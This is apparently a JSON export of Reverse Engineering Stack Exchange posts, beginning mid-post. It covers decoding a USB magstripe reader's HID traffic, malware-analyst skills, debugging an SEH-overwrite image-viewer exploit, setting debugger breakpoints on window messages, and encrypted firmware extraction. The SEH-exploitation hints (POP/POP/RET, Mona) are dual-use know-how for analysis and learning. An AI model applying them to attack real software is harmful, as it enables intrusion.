Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348937663 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348937674 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348938664 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348938676 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348939664 C Ii:1:003:1 0:1 8 = 00002200 00000000\nffff88008954e900 3348939674 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348940661 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348940671 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348941660 C Ii:1:003:1 0:1 8 = 00002400 00000000\nffff88008954e900 3348941670 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348942661 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348942670 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348943673 C Ii:1:003:1 0:1 8 = 00003600 00000000\nffff88008954e900 3348943685 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348944676 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348944700 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348945675 C Ii:1:003:1 0:1 8 = 02001600 00000000\nffff88008954e900 3348945687 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348946661 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348946672 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348947661 C Ii:1:003:1 0:1 8 = 02000c00 00000000\nffff88008954e900 3348947673 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348948661 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348948672 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348949664 C Ii:1:003:1 0:1 8 = 02001100 00000000\nffff88008954e900 3348949677 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348950665 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348950676 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348951666 C Ii:1:003:1 0:1 8 = 02000a00 00000000\nffff88008954e900 3348951677 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348952666 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348952677 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348953666 C Ii:1:003:1 0:1 8 = 02000b00 00000000\nffff88008954e900 3348953678 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348954665 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348954677 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348956665 C Ii:1:003:1 0:1 8 = 00003600 00000000\nffff88008954e900 3348956680 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348957680 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348957696 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348958677 C Ii:1:003:1 0:1 8 = 02003800 00000000\nffff88008954e900 3348958692 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348959663 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348959678 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348960663 C Ii:1:003:1 0:1 8 = 00003300 00000000\nffff88008954e900 3348960674 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348961669 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348961699 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348962670 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348962697 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348963663 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348963678 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348964664 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3348964676 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348965667 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348965678 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348966667 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348966678 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348967671 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348967681 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348968674 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3348968703 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348969673 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348969701 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348970670 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3348970697 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348971672 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348971698 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348972676 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3348972705 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348973678 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348973688 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348974668 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348974694 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348975669 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348975695 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348976667 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348976695 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348977670 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348977700 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348978669 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348978695 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348979670 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348979699 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348980669 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348980694 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348981674 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348981702 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348982678 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348982704 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348983687 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348983714 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348984682 C Ii:1:003:1 0:1 8 = 00002200 00000000\nffff88008954e900 3348984709 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348985675 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348985702 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348986679 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3348986707 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348987682 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348987712 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348988685 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348988714 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348989679 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348989707 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348990678 C Ii:1:003:1 0:1 8 = 00002200 00000000\nffff88008954e900 3348990706 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348991686 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348991715 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348992686 C Ii:1:003:1 0:1 8 = 00002400 00000000\nffff88008954e900 3348992714 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348993681 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348993690 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348994667 C Ii:1:003:1 0:1 8 = 00002e00 00000000\nffff88008954e900 3348994692 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348995668 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348995684 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348996668 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3348996682 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348997670 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348997684 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348998713 C Ii:1:003:1 0:1 8 = 00001f00 00000000\nffff88008954e900 3348998750 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348999678 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348999709 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349000690 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3349000721 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349001690 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349001721 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349002689 C Ii:1:003:1 0:1 8 = 00002100 00000000\nffff88008954e900 3349002720 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349003692 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349003724 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349004687 C Ii:1:003:1 0:1 8 = 00002200 00000000\nffff88008954e900 3349004717 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349005688 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349005718 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349006687 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3349006717 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349007675 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349007701 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349008687 C Ii:1:003:1 0:1 8 = 00002400 00000000\nffff88008954e900 3349008715 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349009682 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349009712 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349010681 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3349010711 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349011681 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349011710 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349012690 C Ii:1:003:1 0:1 8 = 00002600 00000000\nffff88008954e900 3349012719 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349013673 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349013682 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349014697 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3349014727 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349015678 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349015706 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349016692 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3349016721 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349017699 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349017727 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349018679 C Ii:1:003:1 0:1 8 = 00001f00 00000000\nffff88008954e900 3349018706 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349020676 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349020703 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349021688 C Ii:1:003:1 0:1 8 = 02003800 00000000\nffff88008954e900 3349021720 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349022673 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349022683 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349023676 C Ii:1:003:1 0:1 8 = 02002e00 00000000\nffff88008954e900 3349023706 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349024670 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349024680 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349025670 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3349025680 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349026671 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349026679 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349027670 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3349027678 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349028677 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349028705 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349029681 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3349029707 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349030680 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349030706 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349031693 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3349031721 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349032680 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349032707 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349033685 C Ii:1:003:1 0:1 8 = 00001f00 00000000\nffff88008954e900 3349033713 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349034681 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349034707 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349035679 C Ii:1:003:1 0:1 8 = 00002400 00000000\nffff88008954e900 3349035706 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349036676 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349036703 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349037690 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3349037718 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349038677 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349038703 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349039691 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3349039719 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349040677 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349040704 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349041692 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3349041720 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349042677 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349042704 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349043690 C Ii:1:003:1 0:1 8 = 02003800 00000000\nffff88008954e900 3349043721 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349044684 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349044698 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349045681 C Ii:1:003:1 0:1 8 = 00005800 00000000\nffff88008954e900 3349045710 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3349046682 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3349046709 S Ii:1:003:1 -115:1 8 &lt;\n</code></pre>\n\n<p>As you can see, the characters 'SINGH' (my last name) appear in the on-screen output, but I can't find those ASCII values anywhere in the data. How should I go about reverse engineering this device?</p>\n\n<p><strong>EDIT:</strong>\nThanks to Igor's answer I got the Report Descriptors, but I'm not quite sure how to make use of them:</p>\n\n<pre><code>  Report Descriptor: (length is 76)\n    Item(Global): Usage Page, data= [ 0x01 ] 1\n                    Generic Desktop Controls\n    Item(Local ): Usage, data= [ 0x06 ] 6\n                    Keyboard\n    Item(Main  ): Collection, data= [ 0x01 ] 1\n                    Application\n    Item(Global): Usage Page, data= [ 0x07 ] 7\n                    Keyboard\n    Item(Local ): Usage Minimum, data= [ 0xe0 ] 224\n                    Control Left\n    Item(Local ): Usage Maximum, data= [ 0xe7 ] 231\n                    GUI Right\n    Item(Global): Logical Minimum, data= [ 0x00 ] 0\n    Item(Global): Logical Maximum, data= [ 0x01 ] 1\n    Item(Global): Report Size, data= [ 0x01 ] 1\n    Item(Global): Report Count, data= [ 0x08 ] 8\n    Item(Main  ): Input, data= [ 0x02 ] 2\n                    Data Variable Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Bitfield\n    Item(Global): Report Count, data= [ 0x01 ] 1\n    Item(Global): Report Size, data= [ 0x08 ] 8\n    Item(Main  ): Input, data= [ 0x03 ] 3\n                    Constant Variable Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Bitfield\n    Item(Global): Report Count, data= [ 0x05 ] 5\n    Item(Global): Report Size, data= [ 0x01 ] 1\n    Item(Global): Usage Page, data= [ 0x08 ] 8\n                    LEDs\n    Item(Local ): Usage Minimum, data= [ 0x01 ] 1\n                    NumLock\n    Item(Local ): Usage Maximum, data= [ 0x05 ] 5\n                    Kana\n    Item(Main  ): Output, data= [ 0x02 ] 2\n                    Data Variable Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Bitfield\n    Item(Global): Report Count, data= [ 0x01 ] 1\n    Item(Global): Report Size, data= [ 0x03 ] 3\n    Item(Main  ): Output, data= [ 0x03 ] 3\n                    Constant Variable Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Bitfield\n    Item(Global): Report Count, data= [ 0x06 ] 6\n    Item(Global): Report Size, data= [ 0x08 ] 8\n    Item(Global): Logical Minimum, data= [ 0x00 ] 0\n    Item(Global): Logical Maximum, data= [ 0x66 ] 102\n    Item(Global): Usage Page, data= [ 0x07 ] 7\n                    Keyboard\n    Item(Local ): Usage Minimum, data= [ 0x00 ] 0\n                    No Event\n    Item(Local ): Usage Maximum, data= [ 0x66 ] 102\n                    Power (not a key)\n    Item(Main  ): Input, data= [ 0x00 ] 0\n                    Data Array Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Bitfield\n    Item(Global): Logical Maximum, data= [ 0xff 0x00 ] 255\n    Item(Global): Usage Page, data= [ 0x00 0xff ] 65280\n                    (null)\n    Item(Local ): Usage, data= [ 0x20 ] 32\n                    (null)\n    Item(Global): Report Count, data= [ 0x18 ] 24\n    Item(Main  ): Feature, data= [ 0x02 0x01 ] 258\n                    Data Variable Absolute No_Wrap Linear\n                    Preferred_State No_Null_Position Non_Volatile Buffered Bytes\n    Item(Main  ): End Collection, data=none\n</code></pre>\n",
        "Title": "Reverse engineering a USB magstripe card reader",
        "Tags": "|usb|",
        "Answer": "<p>Since it uses HID class, you should probably check the <a href=\"http://www.usb.org/developers/devclass_docs/HID1_11.pdf\" rel=\"nofollow\">USB HID Spec</a> from USB.org. The relevant part seems to be the section 8, \"Report Protocol\":</p>\n\n<blockquote>\n  <h1>8.1 Report Types</h1>\n  \n  <p>Reports contain data from one or more items. Data transfers are sent from the device to the host through the <strong>Interrupt In</strong> pipe in the form of reports. Reports may also be requested (polled)\n  and sent through the Control pipe or sent through an optional\n  <strong>Interrupt Out</strong> pipe. A report contains the state of all the items\n  (Input, Output or Feature) belonging to a particular Report ID. The\n  software application is responsible for extracting the individual\n  items from the report based on the Report descriptor.</p>\n</blockquote>\n\n<p><code>Ii</code> in the usbmon log refer to \"Interrupt In\", so these are \"reports\" from the device. Looks like the changing bytes in the data packets (such as 22, 27, 1e, 1f) correspond to keyboard keys. It seems that to figure out the mapping you need to parse the \"Report Descriptor\", which can be done by <code>lsusb</code> if you <a href=\"http://libusb.6.n5.nabble.com/How-to-dump-HID-report-descriptor-under-Linux-td5971.html\" rel=\"nofollow\">first detach the default driver</a>.</p>\n"
    },
    {
        "Id": "3261",
        "CreationDate": "2013-12-22T16:17:18.743",
        "Body": "<p>I am a C/C++ developer and I have started learning assembly language programming with the goal to become a malware analyst. </p>\n\n<p>I know it is not enough to just know how to read assembly to become a malware analyst. But won't it help a lot and make the remaining things easier?</p>\n",
        "Title": "Is learning assembly enough to become a malware analyst?",
        "Tags": "|malware|assembly|binary-analysis|vulnerability-analysis|",
        "Answer": "<p>When I started with Malware Analyses at some anti-virus vendor. I only had reversed a couple of aspects of video games and created a number of tools to extract graphics etc. I also knew a fair bit of malware culture etc.. Read a lot of Malware source code (vxheavens) and all that jazz.</p>\n\n<p>I however, didn't know about Obfuscation, unpacking, shellcode etc. This is something I learned over the course of a few years while on the job.</p>\n\n<p>However, a SOLID understanding of x86 and your debugging / dis-assembler is required!</p>\n"
    },
    {
        "Id": "3277",
        "CreationDate": "2013-12-25T01:56:13.093",
        "Body": "<p>I recently acquired an exploit for an image viewer program and started analyzing.</p>\n\n<p>Specific details cannot be given, but basically it is a SEH overwrite exploit using malicious image file. </p>\n\n<p>Using immunity dbg, I saw that SEH being overwritten by 38 4c 5c 36. But dbg fails to execute that memory address. </p>\n\n<p>Exploit executes calc just fine, but by attaching a debugger to the viewer program, it hangs trying to execute 38 4c 5c 36.</p>\n\n<p>I tried to jump to that address but dbg says it is a unspecified address. I have a few questions about this memory address</p>\n\n<ol>\n<li><p>what kind of data is loaded in memory address near 38 4c 5c 36 ? (looking at the memory map it is between loaded dll files and nothing is loaded it seems)</p></li>\n<li><p>is 38 4c 5c 36 where the exploit is loaded in the memory or am I making a wrong guess?</p></li>\n<li><p>If it is where exploit is loaded, what should I do to further analyze using a debugger?</p></li>\n</ol>\n\n<p>Thank you in advance :)</p>\n",
        "Title": "Need help analyzing an image viewer exploit",
        "Tags": "|exploit|seh|",
        "Answer": "<p>Standard exploitation of SEH based BoF will try to point the SE Handler to a POP/POP/RET instruction. This is not always the case depending on enabled memory protections. (use Mona plugin for Immunity to check this using the command <code>!mona mod</code>, or simply inspect the vulnerable binary characteristics)</p>\n\n<p>If your SE Handler is pointing to <code>0x384c5c36</code>, you should put a break point at that address and hit <kbd>Shift</kbd>+<kbd>F9</kbd> to continue execution up to your breakpoint.</p>\n\n<p>The rest will greatly vary on the nature of the exploit and the kind of limitations it has to bypass. As it an image viewer, I doubt the exploit will use any techniques like heap spraying as it can execute any code that will spray the heap, like JavaScript, but you never know.</p>\n\n<p>For more information on SEH based overflows, I would strongly recommend the <a href=\"https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/\" rel=\"nofollow\">Corelan Tutorial</a>.</p>\n"
    },
    {
        "Id": "3288",
        "CreationDate": "2013-12-26T09:46:38.627",
        "Body": "<p>I am trying to find what a button does, so I want to set a breakpoint to catch button click event. Is that possible?</p>\n\n<p>Any tools or tricks to assist in this?</p>\n",
        "Title": "How can I set a breakpoint for a button click?",
        "Tags": "|windows|ollydbg|",
        "Answer": "<p>open calc.exe in ollydbg <code>c:\\ollydbg.exe calc.exe</code><br>\npress <code>Ctrl + G and type GetMessageW</code><br>\npress <code>F2</code> to set a breakpoint and press <code>F9</code> until it breaks<br>\nwhen it is broken press <code>ctrl+f9</code> to run until return<br>\npress <code>shift+f4</code> to set a conditional log breakpoint<br>\nin the expression edit box type <code>[esp+4]</code><br>\nin the decode value of expression <code>select pointer to MSG structure (UNICODE)</code><br>\nset radio button pause to <code>never</code><br>\nset radio button log expression to <code>Always</code><br>\nhit <code>ok</code><br>\nnow look at log window for all the messages that are handled<br>\nrefine your conditional breakpoint to handle only the cases you want to examine \nfor example this condition will log only mouseup and wm_char messages</p>\n\n<pre><code>Breakpoints, item 1\n Address=7E41920E\n Module=USER32\n Active=Log when [[esp+4]+4] == WM_KEYDOWN || [[esp+4]+4] == WM_LBUTTONUP\n Disassembly=RETN    10\n</code></pre>\n\n<p>like results posted below notice the hwnd for each button you can refine to a multiple condition with a specifc Window Handle hWnd 2e048a etc</p>\n\n<pre><code>\\Log data\nMessage\nCOND: 0007FEE8 WM_LBUTTONUP hw = 2E048A (\"C\") Keys = 0 X = 57. Y = 14.\nCOND: 0007FEE8 WM_LBUTTONUP hw = 10053E (\"And\") Keys = 0 X = 22. Y = 10.\nCOND: 0007FEE8 WM_LBUTTONUP hw = 200404 (\"Xor\") Keys = 0 X = 22. Y = 18.\nCOND: 0007FEE8 WM_LBUTTONUP hw = 270402 (\"M+\") Keys = 0 X = 22. Y = 11.\nCOND: 0007FEE8 WM_LBUTTONUP hw = D036A (\"Sta\") Keys = 0 X = 27. Y = 15.\nCOND: 0007FEE8 WM_LBUTTONUP hw = 1B04F0 (\"x^2\") Keys = 0 X = 18. Y = 17.\nCOND: 0007FEE8 WM_KEYDOWN hw = 1B04F0 (\"x^2\") Key = 35  ('5') KeyData = 60001\nCOND: 0007FEE8 WM_KEYDOWN hw = 4303EC (class=\"Edit\") Key = 42  ('B') KeyData = 300001\nCOND: 0007FEE8 WM_KEYDOWN hw = 4303EC (class=\"Edit\") Key = 41  ('A') KeyData = 1E0001\n</code></pre>\n\n<p>to simulate same in windbg put this commands in a txt file and run windbg  (you should have skywings sdbgext extension loaded for verbose display )</p>\n\n<pre><code>bp user32!GetMessageW \"pt;gc\"\ng\nbc *\n.load sdbgext\nbp @eip \".if (poi(poi(esp+4)+4) == 0x202) {!hwnd poi(poi(esp+4));gc } .else {gc}\"\ng\n\nwindbg  -c \"$$&gt;a&lt; ......\\wtf.txt\" calc\n\nWindow    00600438\nName      And\nClass     Button\nWndProc   00000000\nStyle     WS_OVERLAPPED \nExStyle   WS_EX_NOPARENTNOTIFY WS_EX_LEFT WS_EX_LTRREADING WS_EX_RIGHTSCROLLBAR \nHInstance 01000000\nParentWnd 00490534\nId        00000056\nUserData  00000000\nUnicode   TRUE\nThreadId  00000df0\nProcessId 00000f68\nWindow    00150436\nName      Xor\nClass     Button\nWndProc   00000000\nStyle     WS_OVERLAPPED \n</code></pre>\n"
    },
    {
        "Id": "3296",
        "CreationDate": "2013-12-27T11:34:58.947",
        "Body": "<p>I need extract this firmware file. I tried <code>firmwaremodkit</code> and <code>binwalk</code>. It founds two trx headers, but cannot open it.( delete start in hexedit and untrx throws segfault, fmk found nothing)... </p>\n\n<p>Interesting is the constant repetition of the sequence: 00 00 11 53 48 44 52</p>\n\n<p>Some tips how extract it?</p>\n\n<p><a href=\"http://uloz.to/xY4X3cPh/download-dwn\" rel=\"nofollow\">http://uloz.to/xY4X3cPh/download-dwn</a></p>\n",
        "Title": "How extract this firmware file?",
        "Tags": "|firmware|",
        "Answer": "<p>It is an encrypted firmware of the GBR2851T Freeview HD Digital Receiver, so you cannot extract it without the proper encryption key.<br>\nIf you are interested in i-CAN (ADB) internals, see the following vulnerability report <a href=\"http://www.security-explorations.com/materials/se-2011-01-adb.pdf\" rel=\"nofollow\">http://www.security-explorations.com/materials/se-2011-01-adb.pdf</a>.</p>\n"
    },
    {
        "Id": "3305",
        "CreationDate": "2013-12-28T19:51:11.293",
        "Body": "<p>I attached Ollydbg to a process, and try to set breakpoint on <code>CreateWindowExW</code>. I typed</p>\n\n<pre><code>bpx CreateWindowExW\n</code></pre>\n\n<p>in command line. Then I checked the Breakpoints window and found it's totally empty.</p>\n\n<p>The same thing works smoothly in IDA pro -- I attached IDA pro to the process I'm going to debug, then in \"Modules\" window, I choose <code>user32.dll</code> and right click on <code>CreateWindowExW</code> and choose \"Add breakpoint\".</p>\n\n<p>Actually, I found setting breakpoint on Win32 API in Ollydbg is very very hard to use. Based on all information I got by Google, I only need to run <code>bpx xxxxx</code> to set this kind of breakpoints, but in fact, it's rarely success. Most of time, no breakpoints were set by this.</p>\n\n<p>Did I miss something?</p>\n\n<p>BTW: The process I debugged loaded a lot of DLLs dynamically. Is this the problem?</p>\n",
        "Title": "Setting breakpoint on Win32 API does not work in Ollydbg",
        "Tags": "|ollydbg|",
